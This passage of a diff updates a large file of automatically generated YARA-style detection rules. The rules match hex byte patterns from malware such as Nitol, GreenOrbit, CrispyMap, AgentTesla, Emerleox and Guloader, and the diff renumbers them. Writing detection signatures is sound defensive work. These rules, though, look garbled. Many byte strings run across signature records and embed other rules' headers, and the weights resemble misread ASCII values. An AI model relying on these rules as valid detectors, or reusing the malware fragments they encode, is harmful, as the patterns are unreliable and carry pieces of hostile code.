85 4c } //16416 + $a_c7_2 = {60 f3 ff ff 00 00 00 00 e8 90 01 04 c6 45 fc 32 8d 8d 64 f3 ff ff 6a 0f 0f 57 c0 c7 85 74 f3 ff ff 00 00 00 00 68 90 01 04 0f 11 85 64 f3 ff ff c7 85 78 f3 ff ff 00 00 00 00 e8 90 01 04 c6 45 fc 33 8d 8d 7c f3 ff ff 6a 0f 0f 57 c0 c7 85 8c f3 ff ff 00 00 00 00 90 00 00 00 78 18 01 00 37 00 23 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 69 74 6f 6c 2e 53 49 42 21 4d 54 42 00 0a 00 07 80 01 72 61 72 2e 65 78 65 0a 00 19 80 01 57 69 6e 52 41 52 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 0a 00 24 80 01 22 25 73 22 20 61 20 2d 72 20 2d 65 70 31 22 25 73 22 20 22 25 73 22 20 22 25 73 5c 6c 70 6b 2e 64 6c 6c 22 0a 00 17 80 01 22 25 73 22 20 78 20 22 25 73 22 20 2a 2e 65 78 65 20 22 25 73 5c 22 0a 00 2b 80 01 63 6d 64 20 2f } //-13 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*16416+(#a_c7_2 & 1)*-13) >=35 + +} +rule _InfrastructureShared_17985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,37 00 23 00 0a 00 21 " @@ -199865,7 +213231,7 @@ rule _InfrastructureShared_16876{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*8819+(#a_25_2 & 1)*384+(#a_20_3 & 1)*30240+(#a_73_4 & 1)*22785+(#a_75_5 & 1)*23338+(#a_73_6 & 1)*97+(#a_72_7 & 1)*29811+(#a_76_8 & 1)*29811+(#a_00_9 & 1)*11576) >=35 } -rule _InfrastructureShared_16877{ +rule _InfrastructureShared_17986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -199875,7 +213241,7 @@ rule _InfrastructureShared_16877{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_16878{ +rule _InfrastructureShared_17987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -199883,13 +213249,28 @@ rule _InfrastructureShared_16878{ $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 67 6f 6c 62 6c 61 00 01 00 20 01 34 34 2d 36 46 2d 37 37 2d 36 45 2d 36 43 2d 36 46 2d 36 31 2d 36 34 2d 34 34 2d 36 31 2d 37 34 01 00 30 01 30 45 2d 31 46 2d 42 41 2d 30 45 2d 30 30 2d 42 34 2d 30 39 2d 43 44 2d 32 31 2d 42 38 2d 30 31 2d 34 43 2d 43 44 2d 32 31 2d 35 } //25635 $a_38_1 = {01 00 35 01 32 38 5f 32 44 5f 43 36 5f 30 31 5f 38 37 5f 39 43 5f 46 43 5f 38 39 5f 45 30 5f 46 43 5f 31 30 5f 46 46 5f 43 35 5f 41 32 5f 41 33 5f 39 35 5f 30 41 } //11572 $a_01_2 = {00 26 01 34 34 5f 36 46 5f 37 37 5f 36 45 5f 36 43 5f 36 46 5f 36 31 5f 36 34 5f 34 34 5f 36 31 5f 37 34 5f 36 31 5f 30 30 01 00 30 01 30 45 5f 31 46 5f 42 41 5f 30 45 5f 30 30 5f 42 34 5f 30 39 5f 43 44 } //12383 - $a_5f_3 = {38 5f 30 31 5f 34 43 5f 43 44 5f 32 31 5f 35 34 5f 36 38 5f 00 00 78 19 01 00 02 00 02 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 } //12895 - $a_72_4 = {73 70 79 4d 61 70 2e 41 21 64 68 61 00 02 00 1c 01 5c 00 44 00 72 00 69 00 76 00 65 00 72 00 5c 00 4d 00 6d 00 52 00 6f 00 73 00 65 00 02 00 16 01 5c 32 30 32 33 2d 34 2d 31 31 5c 32 30 32 33 2d 30 34 } //12084 + $a_5f_3 = {38 5f 30 31 5f 34 43 5f 43 44 5f 32 31 5f 35 34 5f 36 38 5f 00 00 78 19 01 00 01 00 01 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 } //12895 + $a_72_4 = {65 6e 4f 72 62 69 74 2e 42 21 64 68 61 00 01 00 0d 01 2f 6f 33 36 35 5f 68 65 6c 70 65 72 2f 01 00 10 01 6f 33 36 35 5f 68 65 6c 70 65 72 2f 73 72 63 2f 01 00 12 01 6f 33 36 35 5f 68 65 6c 70 65 72 6e 67 63 5f 6b } //12084 condition: ((#a_5f_0 & 1)*25635+(#a_38_1 & 1)*11572+(#a_01_2 & 1)*12383+(#a_5f_3 & 1)*12895+(#a_72_4 & 1)*12084) >=1 } -rule _InfrastructureShared_16879{ +rule _InfrastructureShared_17988{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 6e 4f 72 62 69 74 2e 42 21 64 68 61 00 01 00 0d 01 2f 6f 33 36 35 5f 68 65 6c 70 65 72 2f 01 00 10 01 6f 33 36 35 5f 68 65 6c 70 65 72 2f 73 72 63 2f 01 00 12 01 6f 33 36 35 5f } //16675 + $a_70_1 = {72 6e 67 63 5f 6b 65 79 01 00 39 01 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 72 65 71 75 69 72 65 64 20 61 72 67 75 6d 65 6e 74 20 77 61 73 20 6e 6f 74 20 70 72 6f 76 69 64 65 64 3a 20 6e 67 63 5f 6b 65 79 01 00 08 01 4f 33 36 35 3d 3e 22 22 01 00 25 01 70 61 72 61 6d 73 3a 6f 61 75 74 68 3a 67 72 61 6e 74 2d 74 79 70 65 } //25960 + $a_74_2 = {62 65 61 72 65 72 32 2e 30 01 00 16 01 6e 67 63 5f 6b 65 79 4f 33 36 35 41 63 63 65 73 73 54 6f 6b 65 6e 01 00 22 01 43 4c 49 45 4e 54 5f 49 44 52 45 46 52 45 53 48 5f 54 4f 4b 45 4e 74 6f 6b 65 6e 4e 47 43 5f 4b 45 59 00 00 78 19 01 00 02 00 02 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 69 73 70 79 4d 61 70 2e 41 21 64 68 61 } //27194 + $a_00_4 = {72 00 69 00 76 00 65 00 72 00 5c 00 4d 00 6d 00 52 00 6f 00 73 00 65 00 02 00 16 01 5c 32 30 32 33 2d 34 2d 31 31 5c 32 30 32 33 2d 30 34 2d 31 30 5f 02 00 0d 01 66 73 64 69 73 6b 62 69 74 2e 73 79 73 02 } //92 + $a_75_5 = {51 } //4096 Q + $a_4d_6 = {47 61 52 4d 73 36 42 4c 02 00 16 01 44 72 69 76 65 72 4d 65 6d 6f 72 79 4c 6f 61 64 44 72 69 76 65 72 01 00 2a 01 5c 00 3f 00 3f 00 5c 00 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 46 00 6f 00 6e 00 74 00 73 00 5c 00 01 00 36 } //17740 + condition: + ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25960+(#a_74_2 & 1)*27194+(#a_00_4 & 1)*92+(#a_75_5 & 1)*4096+(#a_4d_6 & 1)*17740) >=1 + +} +rule _InfrastructureShared_17989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -199904,7 +213285,7 @@ rule _InfrastructureShared_16879{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*12338+(#a_4d_2 & 1)*25974+(#a_01_4 & 1)*1+(#a_19_5 & 1)*0+(#a_41_7 & 1)*25856) >=2 } -rule _InfrastructureShared_16880{ +rule _InfrastructureShared_17990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -199916,7 +213297,7 @@ rule _InfrastructureShared_16880{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*-6140+(#a_00_2 & 1)*400) >=3 } -rule _InfrastructureShared_16881{ +rule _InfrastructureShared_17991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -199928,7 +213309,7 @@ rule _InfrastructureShared_16881{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*384+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_16882{ +rule _InfrastructureShared_17992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -199940,7 +213321,7 @@ rule _InfrastructureShared_16882{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*0+(#a_01_2 & 1)*10242) >=3 } -rule _InfrastructureShared_16883{ +rule _InfrastructureShared_17993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -199954,7 +213335,7 @@ rule _InfrastructureShared_16883{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27758+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_19_4 & 1)*0) >=3 } -rule _InfrastructureShared_16884{ +rule _InfrastructureShared_17994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -199968,7 +213349,7 @@ rule _InfrastructureShared_16884{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*103+(#a_67_2 & 1)*27977+(#a_68_3 & 1)*28498+(#a_02_4 & 1)*-28550) >=3 } -rule _InfrastructureShared_16885{ +rule _InfrastructureShared_17995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -199983,7 +213364,7 @@ rule _InfrastructureShared_16885{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637+(#a_2d_2 & 1)*23085+(#a_3c_3 & 1)*4096+(#a_65_4 & 1)*30052+(#a_00_5 & 1)*105) >=3 } -rule _InfrastructureShared_16886{ +rule _InfrastructureShared_17996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -199996,7 +213377,7 @@ rule _InfrastructureShared_16886{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_2 & 1)*97+(#a_53_3 & 1)*8993) >=4 } -rule _InfrastructureShared_16887{ +rule _InfrastructureShared_17997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -200010,7 +213391,7 @@ rule _InfrastructureShared_16887{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*20088+(#a_39_2 & 1)*303+(#a_4a_3 & 1)*21058+(#a_6f_4 & 1)*23660) >=5 } -rule _InfrastructureShared_16888{ +rule _InfrastructureShared_17998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -200025,7 +213406,7 @@ rule _InfrastructureShared_16888{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30051+(#a_47_2 & 1)*25977+(#a_65_3 & 1)*26625+(#a_67_4 & 1)*26990+(#a_74_5 & 1)*21360) >=6 } -rule _InfrastructureShared_16889{ +rule _InfrastructureShared_17999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -200039,7 +213420,7 @@ rule _InfrastructureShared_16889{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26465+(#a_53_2 & 1)*28739+(#a_41_3 & 1)*12851+(#a_00_5 & 1)*1) >=6 } -rule _InfrastructureShared_16890{ +rule _InfrastructureShared_18000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -200053,7 +213434,7 @@ rule _InfrastructureShared_16890{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_00_3 & 1)*116+(#a_00_4 & 1)*116+(#a_65_5 & 1)*24936) >=6 } -rule _InfrastructureShared_16891{ +rule _InfrastructureShared_18001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -200072,7 +213453,7 @@ rule _InfrastructureShared_16891{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*10241+(#a_61_2 & 1)*29541+(#a_68_3 & 1)*10792+(#a_00_4 & 1)*0+(#a_6e_5 & 1)*18041+(#a_6a_6 & 1)*29268+(#a_64_7 & 1)*25700+(#a_53_8 & 1)*13925+(#a_54_9 & 1)*18467) >=6 } -rule _InfrastructureShared_16892{ +rule _InfrastructureShared_18002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -200088,7 +213469,7 @@ rule _InfrastructureShared_16892{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_38_2 & 1)*24932+(#a_52_3 & 1)*22354+(#a_73_4 & 1)*21620+(#a_65_5 & 1)*28530+(#a_69_6 & 1)*29779) >=7 } -rule _InfrastructureShared_16893{ +rule _InfrastructureShared_18003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -200105,7 +213486,7 @@ rule _InfrastructureShared_16893{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28530+(#a_64_2 & 1)*25700+(#a_6f_3 & 1)*21562+(#a_56_4 & 1)*28257+(#a_61_5 & 1)*11621+(#a_61_6 & 1)*28530+(#a_74_7 & 1)*29440) >=8 } -rule _InfrastructureShared_16894{ +rule _InfrastructureShared_18004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -200120,7 +213501,7 @@ rule _InfrastructureShared_16894{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28261+(#a_6e_2 & 1)*21607+(#a_48_5 & 1)*8448+(#a_00_6 & 1)*76+(#a_72_7 & 1)*21249) >=8 } -rule _InfrastructureShared_16895{ +rule _InfrastructureShared_18005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -200135,7 +213516,7 @@ rule _InfrastructureShared_16895{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26988+(#a_01_2 & 1)*25954+(#a_68_3 & 1)*25600+(#a_00_5 & 1)*47+(#a_00_7 & 1)*117) >=8 } -rule _InfrastructureShared_16896{ +rule _InfrastructureShared_18006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -200145,33 +213526,51 @@ rule _InfrastructureShared_16896{ $a_54_2 = {01 00 07 81 01 54 6f 41 72 72 61 79 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 09 81 01 41 70 70 44 6f 6d 61 69 6e 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 08 81 01 47 65 74 54 79 70 65 73 00 00 78 19 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 32 31 32 32 32 21 4d 54 42 00 01 00 } //28783 $a_74_3 = {6c 6c 61 72 5f 50 6f 6c 69 74 69 63 73 2e 52 65 73 6f 75 72 63 58 31 2e 72 65 73 6f 75 72 63 65 73 01 00 25 01 24 38 35 36 38 36 63 31 63 2d 36 66 32 64 2d 34 39 31 62 2d 38 31 64 65 2d 30 34 61 63 66 62 33 65 63 34 63 63 01 00 0a 01 53 74 72 52 65 } //292 $a_73_4 = {01 00 07 01 52 65 70 6c 61 63 65 01 00 2e 81 01 23 22 25 24 26 24 27 26 28 24 29 24 2a 24 2b 24 2c 24 2d 24 2e 24 2f 24 30 24 31 24 32 24 33 24 36 35 37 35 38 35 39 35 3a 35 3b 35 3c 35 01 00 13 01 53 74 65 6c 6c 61 72 5f 50 6f 6c 69 74 69 63 73 2e 4d 79 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0d 01 53 74 72 69 6e 67 42 75 69 } //25974 - $a_72_5 = {00 0d 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 00 00 78 19 01 00 0a 00 09 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 45 6d 65 72 6c 65 6f 78 00 01 00 10 00 54 62 43 62 65 72 60 57 75 6e 71 6e 6b 62 60 62 01 00 0b 00 70 6e 69 6e 69 62 73 29 63 6b 6b 01 00 19 00 4e 69 73 62 75 69 62 73 40 62 73 44 } //25708 - $a_62_6 = {73 62 63 54 73 66 73 62 02 00 05 00 4d 59 47 4f 44 01 00 08 00 62 75 7a 68 69 64 61 6f 01 00 15 00 6f 73 73 77 3d 28 28 6a 6a 29 35 36 34 3f 37 29 64 68 6a 28 73 01 00 0a 00 28 74 6b 62 62 77 43 68 70 69 01 00 07 00 28 72 77 63 66 73 62 08 00 3a 02 50 8b c3 5a 8b ca 99 f7 f9 8b fa 47 8d 45 ec 8b 55 f4 0f b6 54 3a } //26984 - $a_0f_7 = {8b 4d fc 0f b6 4c 19 ff 33 d1 e8 90 01 03 ff 8b 55 ec 8d 45 f0 e8 90 01 03 ff 43 4e 75 c0 90 00 05 00 32 02 50 6a 00 6a 00 68 90 01 03 00 6a 00 e8 90 01 03 ff 6a 00 6a 00 6a 90 01 01 68 90 01 03 00 6a 00 e8 90 01 03 ff 50 e8 90 01 03 ff 8b 06 80 38 00 90 00 00 00 78 19 01 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 21 4d 54 42 00 01 00 36 01 43 68 65 73 73 41 6e 61 6c 79 73 65 72 2e 53 61 74 65 6c 6c 69 74 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 43 68 65 73 73 41 6e 61 6c 79 73 65 72 2e 53 61 74 65 6c 6c 69 74 65 2e 50 72 6f 70 65 72 74 69 65 73 01 00 } //-31745 - $a_68_8 = {73 73 41 6e 61 6c 79 73 65 72 2e 45 78 70 6c 6f 72 65 72 2e 52 75 6c 65 73 01 00 27 01 43 68 65 73 73 41 6e 61 6c 79 73 65 72 2e 53 61 74 65 6c 6c 69 74 65 2e 50 47 4e 2e 44 6f 77 6e 6c 6f 61 64 65 72 } //284 + $a_72_5 = {00 0d 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 00 00 78 19 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 55 47 30 31 21 4d 54 42 00 01 00 13 81 01 6f 76 65 72 73 6c 61 76 69 73 68 6e 65 73 73 2e 64 72 65 01 00 12 81 01 73 75 70 65 72 70 75 72 67 61 74 69 } //25708 + $a_6a_6 = {67 01 00 0d 81 01 73 79 6e 69 6e 67 65 72 73 2e 68 6a 65 01 00 0b 81 01 73 75 6b 72 65 64 65 2e 69 6e 69 01 00 13 81 01 65 6c 69 63 65 20 } //28271 + $a_6e_7 = {6f 76 65 6b 73 6c 65 6e 01 00 2e 81 01 73 75 70 65 72 76 69 73 6f 72 65 6e 20 73 76 65 6a 73 65 66 6c 61 6d 6d 65 73 20 73 74 69 6b 6c 69 6e 67 65 66 6f 72 6d 65 72 69 6e 67 73 01 00 09 81 01 72 69 66 6c 69 6e 67 65 6e 01 00 23 81 01 65 6b 73 69 6c 72 65 67 65 72 69 6e 67 65 6e 73 20 6d 61 } //27746 + $a_69_8 = {61 73 20 66 69 73 74 6c 65 6e 73 01 00 1a 81 01 73 74 61 6e 64 61 72 64 61 66 76 69 67 65 6c 73 65 6e 20 61 75 72 69 74 65 64 00 00 78 19 01 00 0a 00 09 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 45 6d 65 72 6c 65 6f 78 00 01 00 10 00 54 62 43 62 65 72 60 57 75 6e 71 6e 6b 62 60 62 01 00 0b 00 70 6e 69 6e 69 62 73 29 } //28521 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99+(#a_54_2 & 1)*28783+(#a_74_3 & 1)*292+(#a_73_4 & 1)*25974+(#a_72_5 & 1)*25708+(#a_62_6 & 1)*26984+(#a_0f_7 & 1)*-31745+(#a_68_8 & 1)*284) >=9 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99+(#a_54_2 & 1)*28783+(#a_74_3 & 1)*292+(#a_73_4 & 1)*25974+(#a_72_5 & 1)*25708+(#a_6a_6 & 1)*28271+(#a_6e_7 & 1)*27746+(#a_69_8 & 1)*28521) >=9 } -rule _InfrastructureShared_16897{ +rule _InfrastructureShared_18007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 32 31 32 32 32 21 4d 54 42 00 01 00 24 01 53 74 65 6c 6c 61 72 5f 50 6f 6c 69 74 69 63 73 2e 52 65 73 6f 75 72 63 58 31 2e 72 65 73 6f 75 72 63 65 73 01 00 25 01 24 38 } //18467 $a_36_1 = {31 63 2d 36 66 32 64 2d 34 39 31 62 2d 38 31 64 65 2d 30 34 61 63 66 62 33 65 63 34 63 63 01 00 0a 01 53 74 72 52 65 76 65 72 73 65 01 00 07 01 52 65 70 6c 61 63 65 01 } //13877 - $a_01_2 = {23 22 25 24 26 24 27 26 28 24 29 24 2a 24 2b 24 2c 24 2d 24 2e 24 2f 24 30 24 31 24 32 24 33 24 36 35 37 35 38 35 39 35 3a 35 3b 35 3c 35 01 00 13 01 53 74 65 6c 6c 61 72 5f 50 6f 6c 69 74 69 63 73 2e 4d 79 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0d 01 53 74 72 69 6e 67 42 75 69 6c 64 65 72 01 00 0d 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 00 00 78 19 01 00 0a 00 09 00 } //11776 - $a_23_3 = {53 54 52 3a 57 69 6e 33 32 2f 45 6d 65 72 6c 65 6f 78 00 01 00 10 00 54 62 43 62 65 72 60 57 75 6e } //10 - $a_62_4 = {62 01 00 0b 00 70 6e 69 6e 69 62 73 29 63 6b 6b 01 00 19 00 4e 69 73 62 75 69 62 73 40 62 73 44 68 69 69 62 64 73 62 63 54 73 66 73 62 02 00 05 00 4d 59 47 4f 44 01 00 08 00 62 75 7a 68 69 64 61 6f 01 00 15 00 6f 73 73 77 3d 28 28 6a 6a 29 35 36 34 3f 37 29 64 68 6a 28 73 01 00 0a 00 28 74 6b 62 62 77 43 68 70 69 01 00 } //28273 - $a_72_5 = {63 66 73 62 08 00 3a 02 50 8b c3 5a 8b ca 99 f7 f9 8b fa 47 8d 45 ec 8b 55 f4 0f b6 54 3a ff 83 e2 0f 8b 4d fc 0f b6 4c } //7 - $a_d1_6 = {90 01 03 ff 8b 55 ec 8d 45 f0 e8 90 01 03 ff 43 4e 75 c0 90 00 05 00 32 02 50 6a 00 6a 00 68 90 01 03 00 6a 00 e8 90 01 03 ff 6a 00 6a 00 6a 90 01 01 68 } //-231 - $a_00_7 = {6a 00 e8 } //400 - $a_ff_8 = {e8 90 01 } //400 + $a_01_2 = {23 22 25 24 26 24 27 26 28 24 29 24 2a 24 2b 24 2c 24 2d 24 2e 24 2f 24 30 24 31 24 32 24 33 24 36 35 37 35 38 35 39 35 3a 35 3b 35 3c 35 01 00 13 01 53 74 65 6c 6c 61 72 5f 50 6f 6c 69 74 69 63 73 2e 4d 79 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0d 01 53 74 72 69 6e 67 42 75 69 6c 64 65 72 01 00 0d 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 00 00 78 19 01 00 09 00 09 00 } //11776 + $a_23_3 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 55 47 30 31 21 4d 54 42 00 01 00 13 81 } //9 + $a_65_4 = {73 6c 61 76 69 73 68 6e 65 73 73 2e 64 72 65 01 00 12 81 01 73 75 70 65 72 70 75 72 67 61 74 69 6f 6e 2e 6a 70 67 01 00 0d 81 01 73 79 6e 69 6e 67 65 72 73 2e 68 6a 65 01 00 0b 81 01 73 75 6b 72 65 64 65 2e 69 6e 69 01 00 13 81 01 65 6c 69 63 65 20 62 6c 61 6e 6b 6f 76 65 6b 73 6c 65 6e 01 00 2e 81 01 73 75 70 65 72 76 69 73 6f 72 65 6e 20 73 76 65 6a } //28417 + $a_6c_5 = {6d 6d 65 73 20 73 74 69 6b 6c 69 6e 67 65 66 6f 72 6d 65 72 69 6e 67 73 01 00 09 81 01 72 69 66 6c 69 6e 67 65 6e 01 00 23 81 01 65 6b 73 69 6c 72 65 67 65 72 69 6e 67 65 6e 73 20 6d 61 69 6f 6c 69 63 61 73 20 66 69 73 74 6c 65 6e 73 01 00 1a 81 01 73 74 61 6e 64 61 72 64 61 66 76 69 67 65 6c 73 65 6e 20 } //25971 + $a_69_6 = {65 64 00 00 78 19 01 00 0a 00 09 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 45 6d 65 72 6c 65 6f 78 00 01 00 10 00 54 62 43 62 65 72 60 57 75 6e 71 6e 6b 62 60 62 01 00 0b 00 70 6e 69 6e 69 62 73 29 63 6b 6b 01 00 19 00 4e 69 73 62 75 69 62 73 40 62 73 44 68 69 69 62 64 73 62 63 54 73 66 73 62 02 00 05 00 4d 59 47 4f 44 01 00 08 00 62 } //30049 + $a_69_7 = {61 6f 01 00 15 00 6f 73 73 77 3d 28 28 6a 6a 29 35 36 34 3f 37 29 64 68 6a 28 73 01 00 0a 00 28 74 6b 62 62 77 43 68 70 69 01 00 07 00 28 72 77 63 66 73 62 08 00 3a 02 50 8b c3 5a 8b ca 99 f7 f9 8b fa 47 8d 45 ec 8b 55 f4 0f b6 54 3a ff 83 e2 0f 8b 4d fc 0f b6 4c 19 ff 33 d1 e8 90 01 03 ff 8b 55 ec 8d 45 f0 e8 } //31349 + $a_ff_8 = {4e 75 c0 } //400 condition: - ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*13877+(#a_01_2 & 1)*11776+(#a_23_3 & 1)*10+(#a_62_4 & 1)*28273+(#a_72_5 & 1)*7+(#a_d1_6 & 1)*-231+(#a_00_7 & 1)*400+(#a_ff_8 & 1)*400) >=9 + ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*13877+(#a_01_2 & 1)*11776+(#a_23_3 & 1)*9+(#a_65_4 & 1)*28417+(#a_6c_5 & 1)*25971+(#a_69_6 & 1)*30049+(#a_69_7 & 1)*31349+(#a_ff_8 & 1)*400) >=9 } -rule _InfrastructureShared_16898{ +rule _InfrastructureShared_18008{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 55 47 30 31 21 4d 54 42 00 01 00 13 81 01 6f 76 65 72 73 6c 61 76 69 73 68 6e 65 73 73 2e 64 72 65 01 00 12 81 01 73 75 70 65 72 70 75 72 67 61 74 69 6f 6e 2e 6a 70 67 01 00 0d 81 01 73 79 6e 69 6e } //18467 + $a_73_1 = {68 6a 65 01 00 0b 81 01 73 75 6b 72 65 64 65 2e 69 6e 69 01 00 13 81 01 65 6c 69 63 65 20 62 6c 61 6e 6b 6f 76 65 6b 73 6c 65 6e 01 00 2e 81 01 73 75 70 65 72 76 69 73 6f 72 65 6e 20 73 76 65 6a 73 65 66 6c 61 6d 6d 65 73 20 73 74 69 6b 6c 69 6e 67 65 66 6f 72 6d 65 72 69 6e 67 73 01 00 09 81 01 72 69 66 6c 69 6e 67 65 6e 01 00 23 81 01 65 } //25959 + $a_6c_2 = {65 67 65 72 69 6e 67 65 6e 73 20 6d 61 69 6f 6c 69 63 61 73 20 66 69 73 74 6c 65 6e 73 01 00 1a 81 01 73 74 61 6e 64 61 72 64 61 66 76 69 67 65 6c 73 65 6e 20 61 75 72 69 74 65 64 00 00 78 19 01 00 0a 00 09 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 45 6d 65 72 6c 65 6f 78 00 01 00 10 00 54 62 43 62 65 72 60 } //29547 + $a_71_3 = {6b 62 60 62 01 00 0b 00 70 6e 69 6e 69 62 73 29 63 6b 6b 01 00 19 00 4e 69 73 62 75 69 62 73 40 62 73 44 68 69 69 62 64 73 62 63 54 73 66 73 62 02 00 05 00 4d 59 47 4f 44 01 00 08 00 62 75 7a 68 69 64 61 6f 01 00 15 00 6f 73 73 77 3d 28 28 6a 6a 29 35 36 34 3f 37 29 64 68 6a 28 73 01 00 0a 00 28 74 6b 62 62 77 43 68 70 69 01 00 } //30039 + $a_72_4 = {63 66 73 62 08 00 3a 02 50 8b c3 5a 8b ca 99 f7 f9 8b fa 47 8d 45 ec 8b 55 f4 0f b6 54 3a ff 83 e2 0f 8b 4d fc 0f b6 4c } //7 + $a_d1_5 = {90 01 03 ff 8b 55 ec 8d 45 f0 e8 90 01 03 ff 43 4e 75 c0 90 00 05 00 32 02 50 6a 